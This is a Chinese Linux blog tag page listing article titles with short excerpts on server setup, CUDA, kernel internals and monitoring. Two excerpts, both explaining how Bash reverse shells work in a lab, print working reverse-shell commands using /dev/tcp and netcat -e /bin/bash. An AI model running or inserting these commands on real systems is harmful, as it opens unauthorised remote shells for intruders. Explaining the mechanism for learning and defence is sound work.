标签: Linux

Centos7系统Nginx服务器下Phalcon环境搭建方法详解

本文实例讲述了centos7系统nginx服务器下phalcon环境搭建方法。分享给大家供大家参考,具体如下:之前我们采用的是Apache服务器,可是每秒响应只能达到2000,听说nginx可以轻易破万,于是换成nginx试试。phalcon的官网有nginx重写规则的示例,可是却与apache的不...

Linux 2021-04-29 179 0 0 阅读全文

Linux CentOS 7安装Tomcat7的完整步骤。

记录一下LinuxCentOS7安装Tomcat7的完整步骤。下载首先需要下载tomcat7的安装文件,地址如下:http://mirror.bit.edu.cn/apache/tomcat安装与配置安装之前需要确保已经安装JDK,若没有安装JDK请参考上一篇blog先正确安装JDK:LinuxCe...

Linux 2021-07-18 227 0 0 阅读全文

Linux操作系统的概述与简介

引言:这些年,我学习计算机领域的知识之前,习惯于思考知识本身的几个基本要素:**1.是什么;2.从何而来;3.能干什么。**我也越来越觉得,在学习任何一项技术之前,都有必要去思考这几个问题,并且带着这几个问题出发去学习,否则容易陷入思维误区,也容易没有目标,觉得一片茫然,从入门到放弃,久而久之就忘记...

Linux 2021-06-24 126 0 0 阅读全文

Shell脚本实现统计文件大小、批量创建用户的示例

统计文件大小需求:每小时执行一次脚本,当时间为0点或12点时,清空/data/logs目录下所有日志文件的内容(包括该目录下的子目录里的文件),其他时间只需统计每个文件的大小,一个文件一行,记录到以日期和时间命名的文件中#!/bin/bashdir=/data/log_sizelogdir=/dat...

Linux 2021-06-30 155 0 0 阅读全文

Linux 下Jenkins项目搭建过程(Centos7为例 )

一.安装jdk1.下载jdk以jdk-8u261-linux-x64.tar.gz安装为例2.创建java文件夹cd/usr/localmkdirjava3.然后解压jdk包tar-zcvfjdk-8u261-linux-x64.tar.gz4.配置环境变量vi/etc/profile5.加入6.保...

Linux 2021-05-15 181 0 0 阅读全文

Apache基于端口创建虚拟主机的示例

apache:基于端口创建虚拟主机以创建虚拟主机(a,b,c)为例子1)2.1.2禁用默认的主机模式[root@localhosthttpd]#vim/etc/httpd/conf/httpd.conf在主配置文件里面注释下面这行内容#DocumentRoot"/var/www/html&...

Linux 2021-04-22 161 0 0 阅读全文

Linux启动与停止SpringBoot工程的脚本示例

在springboot项目启动有三种方式:1、运行主方法程序2、使用命令mvnspring-boot:run在命令行运行3、使用mvnpackpage打包位jar文件以后,使用java-jaryourapp.jar命令行运行一般我们在开发的时候经常使用的是前面两种运行方式,在部署实施的时候使用的第三...

Linux 2021-04-27 202 0 0 阅读全文

Shell如何遍历包含空格的文本详解

shell遍历文件有时候要对某个文件夹下面的所有文件做同样的处理,比如对每个文件统计行数,这时用遍历文件的方式就很简单了。$foriin`ls`;dowc-l$i;done55552f123.txt55819f124.txt56118f125.txt56404f126.txt56633f127.tx...

其他 2021-04-07 191 0 0 阅读全文

解析Linux源码之Epoll

从linux源码看epoll在linux的高性能网络编程中,绕不开的就是epoll。和select、poll等系统调用相比,epoll在需要监视大量文件描述符并且其中只有少数活跃的时候,表现出无可比拟的优势。epoll能让内核记住所关注的描述符,并在对应的描述符事件就绪的时候,在epoll的就绪链表...

Linux 2021-06-24 125 0 0 阅读全文

Linux中无Make命令的问题(Make: *** 没有指明目标并且找不到 Makefile及Make命令安装方法)

注意!!!这种情况其实可以在安装虚拟机过程中进行避免得,下次测试装虚拟机的时候直接选择开发工具就可以了好啦言归正传,这次是帮助大家解决问题得,首先输入make会有下图的显示这种情况下如果是有网环境直接输入yum-yinstallmake就可以解决,若是无网环境则需要上网上下载源码包进行上传yum-y...

Docker 2021-05-20 164 0 0 阅读全文

浅析Linux之Bash反弹Shell原理

环境攻击机:kaliip:192.168.25.144靶机:centosip:192.168.25.142过程kali监听本地8888端口靶机centos写入反弹shell的命令bash-i>&/dev/tcp/192.168.25.144/88880>&1攻击机kali...

Linux 2021-05-15 179 0 0 阅读全文

Linux反弹Shell的原理详解

完整命令反弹shell命令:bash-i>&/dev/tcp/10.0.0.1/80800>&1bash-i>/dev/tcp/ip/port0>&12>&1利用nc反弹shell:nc-lvvp12345-t-e/bin/bash原理b...

Linux 2021-05-15 132 0 0 阅读全文

Linux下通过Python获取本机Ip方法示例

下面介绍在Linux上利用python获取本机ip的方法.经过网上调查,发现大致有两种方法,一种是调用shell脚本,另一种是利用python中的socket等模块来得到,下面是这两种方法的源码:#!/usr/bin/envpython#encoding:utf-8#description:getl...

Python 2021-04-27 178 0 0 阅读全文

Ubuntu16.04下CUDA8.0和CUDA9.0共存

在Github上有一些比较早的代码需要的环境可能是CUDA8.0,而对于一个新手来说,正常思维都会选择最现金的版本进行环境配置,在这里简单的介绍一下,如何在实用GPU进行运算的时候,CUDA8.0和CUDA9.0共存的问题。1、安装前的检查运行下面的指令,检查一下您的电脑当前CUDA版本nvcc--...

Linux 2021-05-26 157 0 0 阅读全文

Ubuntu安装和卸载CUDA和CUDNN的实现

最近在学习PaddlePaddle在各个显卡驱动版本的安装和使用,所以同时也学习如何在Ubuntu安装和卸载CUDA和CUDNN,在学习过程中,顺便记录学习过程。在供大家学习的同时,也在加强自己的记忆。本文章以卸载CUDA8.0和CUDNN7.05为例,以安装CUDA10.0和CUDNN7.4.2为...

Linux 2021-05-26 187 0 0 阅读全文

Ubuntu安装多个版本的CUDA并随时切换

CUDA是什么就不介绍了,直接讲怎么实现CUDA多版本的共存和实时切换。1、安装多个版本的CUDA这里,我们以cuda9-1版本和cuda9-0版本为例(先安装哪个无所谓)首先,在cuda版本库中选择自己需要的cuda版本。然后,选择对应的安装包,这里选择runfile类型的安装文件,以便后面设置每...

Linux 2021-05-26 177 0 0 阅读全文

分析从Linux源码看TIME_WAIT的持续时间

从Linux源码看TIME_WAIT状态的持续时间笔者一直以为在Linux下TIME_WAIT状态的Socket持续状态是60s左右。线上实际却存在TIME_WAIT超过100s的Socket。由于这牵涉到最近出现的一个复杂Bug的分析。所以,笔者就去Linux源码里面,一探究竟。首先介绍下Linu...

Linux 2021-06-24 147 0 0 阅读全文

Linux体检,了解你的Linux状态(网络IO,磁盘,CPU,内存)

①学会查看linux各种状态,包括:网络IO、磁盘、CPU、内存等;②学会理解命令所代表的含义,能够迅速发现集群存在的问题。​1、核心命令linux监控网络IO、磁盘、CPU、内存:CPU:vmstat、sar–u、top磁盘IO:iostat–xd、sar–d、top网络IO:iftop-n、if...

Linux 2021-08-23 126 0 0 阅读全文

CentOS7 安装 Zabbix 4.0 教程(图文详解)

关闭SeLinuxsetenforce0永久关闭:vi/etc/selinux/config关闭防火墙systemctlstopfirewalld.service注:当然也可以打开指定端口安装环境LAMP#安装apacheyuminstall-yhttpd#httpd服务开机进行自启systemct...

Linux 2021-04-30 141 0 0 阅读全文

HDFS-Hadoop NameNode高可用机制

1-为什么要高可用在Hadoop中,NameNode扮演着至关重要的角色——整个HDFS文件系统的元数据信息都由NameNode管理,一旦NameNode进程出现异常,或者维护NameNode所在节点的时候,都会导致HDFS集群不可用。所以NameNode的可用性直接决定了Hadoop集群的可用性。...

Linux 2021-08-23 151 0 0 阅读全文